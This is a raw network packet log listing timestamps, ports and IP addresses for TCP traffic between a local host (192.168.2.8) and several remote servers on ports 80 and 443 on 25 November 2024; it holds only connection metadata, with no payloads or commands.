Nov 25, 2024 03:39:51.807687044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.807782888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.807831049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.807931900 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.807977915 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.808439016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.808484077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.808546066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.808590889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.809336901 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.809393883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.809472084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.809524059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.810220957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.810272932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.810311079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.810450077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.811108112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.811153889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.811217070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.811271906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.811964989 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.812047958 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.812082052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.812120914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.812845945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.812906981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.812963009 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.813116074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.813813925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.813828945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.813858986 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.813875914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.814096928 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.814163923 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.814179897 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.814197063 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.814223051 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.814240932 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.814616919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.814733028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.814758062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.814773083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.815504074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.815592051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.815618038 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.815794945 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.816360950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.816416979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.816473007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.816517115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.817241907 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.817301989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.817358017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.817518950 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.818104029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.818159103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.828079939 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.828108072 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.828152895 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.828166008 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.828192949 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.828211069 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.841548920 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.841573954 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.841617107 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.841629028 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.841661930 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.841680050 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.852535009 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.852576017 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.852612019 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.852626085 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.852650881 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.852670908 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.862088919 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.862150908 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.862176895 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.862190008 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.862212896 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.862234116 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.873841047 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.873863935 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.873929977 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.873944044 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.873995066 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.883420944 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.883466959 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.883497000 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.883511066 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:51.883537054 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.883557081 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:51.887226105 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.887285948 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.887321949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.887415886 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.887676001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.887722969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.887728930 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.887871981 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.888535976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.888587952 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.888637066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.888681889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.889430046 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.889482975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.889594078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.890299082 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.890348911 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.890424967 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.890466928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.891174078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.891225100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.891272068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.891354084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.892091036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.892138004 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.892158031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.892201900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.892945051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.893060923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.893116951 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.893850088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.893945932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.893963099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.893996954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.894707918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.894774914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.894803047 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.894874096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.895612955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.895669937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.895864010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.896465063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.896524906 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.896565914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.896635056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.897336006 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.897393942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.897455931 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.897491932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.898236036 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.898292065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.898329973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.898366928 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.899089098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.899141073 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.899183035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.899223089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.899960995 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.900007010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.900084972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.900126934 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.900861025 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.900965929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.901021957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.901725054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.901771069 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.901829004 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.901905060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.902604103 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.902705908 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.902729034 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.902765989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.903496027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.903573990 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.903593063 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.903634071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.904441118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.904454947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.904510021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.905251026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:51.906620026 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.906644106 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.906721115 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.906721115 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:51.906745911 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.906837940 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.936024904 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.936045885 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.936136007 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.936136007 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.936148882 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.936306000 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.954411030 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.954430103 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.954552889 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.954567909 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.954684019 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.972681046 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.972707987 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.972773075 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.972793102 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:51.973035097 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:51.984772921 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.018953085 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.019021034 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.019051075 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.019071102 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.019088984 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.019630909 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.026679039 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.026705980 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.026753902 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.026773930 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.026788950 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.027120113 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.035911083 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.035943985 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.035980940 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.035993099 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.036015987 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.036037922 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.044861078 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.044893026 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.044934988 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.044950008 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.044965029 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.044991016 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.051341057 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.051373959 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.051445007 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.051445961 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.051459074 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.051487923 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.052124977 CET	49801	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.052140951 CET	443	49801	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.104233980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.118063927 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:52.118115902 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:52.118201017 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:52.118204117 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:52.118252039 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:52.118712902 CET	49803	443	192.168.2.8	4.153.29.52
Nov 25, 2024 03:39:52.118742943 CET	443	49803	4.153.29.52	192.168.2.8
Nov 25, 2024 03:39:52.142033100 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.142096996 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.142520905 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.142884970 CET	49811	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.142901897 CET	443	49811	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.445002079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.445043087 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.445075989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.445112944 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.445341110 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.445398092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.445403099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.445439100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.445727110 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.445786953 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.445851088 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.446094036 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.446146965 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.446204901 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.446233034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.446268082 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.446363926 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.446624994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.446800947 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.446815014 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.446985960 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.446995974 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.447009087 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.447048903 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.447087049 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.447205067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.447211027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.447241068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.447760105 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.447802067 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.447967052 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.447982073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.448025942 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.448054075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.448087931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.448292971 CET	49812	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.448317051 CET	443	49812	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.448528051 CET	49813	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.448544979 CET	443	49813	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.448688984 CET	49814	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.448703051 CET	443	49814	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.448873043 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.448916912 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.448965073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.448997021 CET	49815	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.449001074 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.449007988 CET	443	49815	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.449167967 CET	49816	443	192.168.2.8	13.107.246.40
Nov 25, 2024 03:39:52.449182987 CET	443	49816	13.107.246.40	192.168.2.8
Nov 25, 2024 03:39:52.449742079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.449794054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.449834108 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.449876070 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.450635910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.450697899 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.450731039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.450771093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.451512098 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.451565027 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.451601028 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.451636076 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.452372074 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.452483892 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.452543020 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.453237057 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.453308105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.453342915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.453381062 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.454144955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.454190969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.454226017 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.454262972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.455030918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.455125093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.455157042 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.455168009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.455949068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.456027031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.456051111 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.456084967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.456780910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.456834078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.456897020 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.456934929 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.457659960 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.457720995 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.457752943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.457794905 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.458539963 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.458594084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.458626032 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.458789110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.459424019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.459516048 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.459542036 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.459556103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.460304022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.460385084 CET	49748	80	192.168.2.8	185.215.113.206
Nov 25, 2024 03:39:52.460387945 CET	80	49748	185.215.113.206	192.168.2.8
Nov 25, 2024 03:39:52.460418940 CET	49748	80	192.168.2.8	185.215.113.206
